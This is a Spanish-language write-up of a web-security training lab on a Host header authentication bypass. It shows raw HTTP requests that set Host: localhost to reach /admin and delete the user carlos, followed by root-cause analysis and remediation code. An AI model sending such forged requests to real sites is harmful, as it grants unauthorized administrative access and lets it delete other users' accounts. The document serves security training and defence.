Host header authentication bypass
Bypass de autenticación por Host header: la app decide el privilegio según el valor de Host, por lo que /admin con Host: localhost otorga acceso y permite eliminar a carlos.
Target Overview & Vulnerability Summary
El lab host-header/exploiting/lab-host-header-authentication-bypass asume el nivel de privilegio del usuario basándose en el header HTTP Host. El panel /admin solo es accesible si el Host es localhost. Modificando el header a Host: localhost se obtiene acceso administrativo y se elimina a carlos.
| Campo | Valor |
|---|---|
| Severidad | Alta (escalada a administrador / bypass de control de acceso) |
| Endpoint vulnerable | /admin (gate por header Host) |
| Root cause | Decisión de autorización basada en el header Host, controlable por el cliente |
Technical Breakdown & Exploitation Flow
1. La request legítima
GET /admin HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
La app niega el acceso porque el Host no coincide con el valor esperado para el rol admin.
2. Bypass con Host: localhost
Se modifica el header:
GET /admin HTTP/2
Host: localhost
Cookie: session=<SESSION_ID>
Con Host: localhost, el middleware considera la request como interna (equivalente a loopback) y concede privilegios de administrador. El panel admin responde; se elimina a carlos:
GET /admin/delete?username=carlos HTTP/2
Host: localhost
Cookie: session=<SESSION_ID>
Root Cause Analysis
La app usa el header Host como proxy de confianza para decidir autorización: asume que una request con Host: localhost proviene de un contexto interno/privilegiado. El header Host lo controla el cliente en cualquier conexión directa, por lo que la "verificación" es trivialmente forjable. Es una decisión de seguridad sobre una entrada no autenticada: el control de acceso debe derivarse de la identidad de la sesión y de la autenticidad de la capa de red (conexión loopback real), no de un header.
Secure Remediation
- No basar decisiones de autorización en el header
Host(ni enX-Forwarded-Host/X-Forwarded-Forsalvo que el proxy lo sobrescriba y se valide su procedencia). - Determinar "request interna" por la dirección IP real de la conexión (loopback/red interna), no por headers:
def is_internal(request):
return request.remote_addr in ("127.0.0.1", "::1", internal_networks)
- Aplicar autorización por rol de sesión/identidad en
/admin:
if not session_user.is_admin():
abort(403)
- Validar el
Hostcontra una lista blanca de hosts propios y rechazar valores desconocidos, para que el header no se convierta en un canal de abuso.